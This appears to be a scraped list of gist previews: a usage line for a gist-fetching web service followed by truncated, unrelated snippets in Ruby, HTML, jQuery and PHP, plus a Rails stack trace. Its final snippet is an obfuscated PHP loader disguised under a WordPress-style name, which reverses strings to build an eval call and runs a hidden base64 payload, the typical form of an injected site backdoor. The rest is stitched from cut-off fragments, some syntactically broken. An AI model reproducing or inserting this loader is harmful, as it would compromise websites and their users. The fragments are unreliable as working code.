GET http://urlspoiler.herokuapp.com/gists?id=required&file=optional&format=optional
id=<the ID of the gist>
- Extract the ID from a gist url:
https://gist.github.com/<id>
file=
// lskjdflskhjf |
GET http://urlspoiler.herokuapp.com/gists?id=required&file=optional&format=optional
id=<the ID of the gist>
https://gist.github.com/<id>
file=
#!/bin/ruby | |
def calculatePrime | |
list = (2..7050000).to_a | |
print "2 " | |
list = list.select(&:odd?) | |
list.each_with_index.each do |n, i| | |
next if n == nil | |
print "#{n} " | |
while i < list.count do |
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta name="viewport" content="initial-scale=1.0, user-scalable=no" /> | |
<style type="text/css"> | |
html { height: 100% } | |
body { height: 100%; margin: 0; padding: 0 } | |
#map_canvas { height: 100% } | |
</style> | |
<script type="text/javascript" |
$(document).scroll(function() { | |
var currentScrollTop = $(this).scrollTop(); | |
if (currentScrollTop > prevScrollTop) { | |
//down | |
var lasthiddenbox = $('.fadeboxhidden:last'); | |
var nextbox = (lasthiddenbox.length > 0) ? lasthiddenbox.next('.fadebox') : $('.fadebox:first'); | |
while (nextbox.length) { | |
if (nextbox.offset().top < currentScrollTop) { | |
nextbox.css('opacity', (currentScrollTop - nextbox.offset().top) / nextbox.outerHeight()); | |
} |
At the beginning
PostsController# (Timeout::Error) "execution expired"
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:45:in `read'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:45:in `block in read'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:78:in `handle_socket_errors'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:45:in `read'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/connection.rb:177:in `read_data'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/connection.rb:99:in `block in read'
jQuery(function($) { | |
// returns an array of the potential selector components for the first element in the jQuery object. IDs, classes, and tagNames only. | |
var getSelectorComponents = function($el) { | |
var components = []; | |
var id = $el.attr('id'); | |
if (typeof(id)!='undefined' && /[^\s]/.test(id)) { | |
components.push('#'+id); | |
} |
<?php | |
// only run this code if they submitted the form (we can check if the submit button was pressed) | |
if (isset($_POST['contact-submit'])) { | |
$email = isset($_POST['email']) ? trim($_POST['email']) : ''; | |
$name = isset($_POST['name']) ? trim($_POST['name']) : ''; | |
$message = isset($_POST['message']) ? trim($_POST['message']) : ''; | |
success = true; |
... | |
<nav> | |
<ul> | |
<li> | |
<a href="/my/app">Home</a> | |
</li><li> | |
<a href="/my/app/posts">Posts</a> | |
</li><li> | |
<a href="/my/app/posts/1">The First Post</a> | |
</li> |
<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=owOpICcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNmIoQnchR3cfJ2bKogCKASfKAyOwRCIuJXd0VmcJogCK0XCK0XCJogC9lQCJoQfJkQCJowOxQHelRHJuAHJ9AHJJkQCJkgC7V2csVWfJkQCJoQfJkQCJkgC7kCckACLxQHelRHJuICIi4yZhRHJgwyZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCJkQCKsXZzxWZ9lQCJkQCKAyOpAHJsEDd4VGdk4iIgIiLnFGdkwyZhRHJoU2YhxGclJXafJHdzBUPwRSCJkQCJkgC7lSK00TPlBXe0RCK8xXKz0TPlBXe0RCKoAiZplQCJkQCKsXKpcWY0RCLwRCKyR3cpJHdzhCImlWCJkQCKowepkiIi0TIxQHelRHJoYiJpIiI9EyZhRHJogCImlWCJkgC7kSMmVnYkwiI8xHfigSZk9GbwhXZA1TKxQHelRHJscWY0RCK0NXaslQCJowOpQHelRHJoUGZvNWZk9FN2U2chJGQ9EjZ1JGJJkQCKsXK09mYkgCImlWCJogC9lQCKsTKoAXafR3biVGbn92bn91cp1DdvJGJJkQCKsXKpMTP9UGc5RHJowHfpITP9UGc5RHJogCImlWCJoQfJkgC7kCKhV3X09mYfNXa9Q3biRSCJkgC7lSK00TPlBXe0RCK8xXKx0TPlBXe0RCKoAiZplQCKsXKpQTP9UGc5RHJowHfpMTP9UGc5RHJowHfpITP9UGc5RHJowHfpETP9UGc5RHJogCImlWCKU2csVWfJoQCJoQfJkgC7EDd4VGdk4Cck0DckkQCJowelNHbl1XCJowOpAHJgwSM0hXZ0dWY0RiLiAiIuEDd4VGdkACLxQHelR3ZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9 |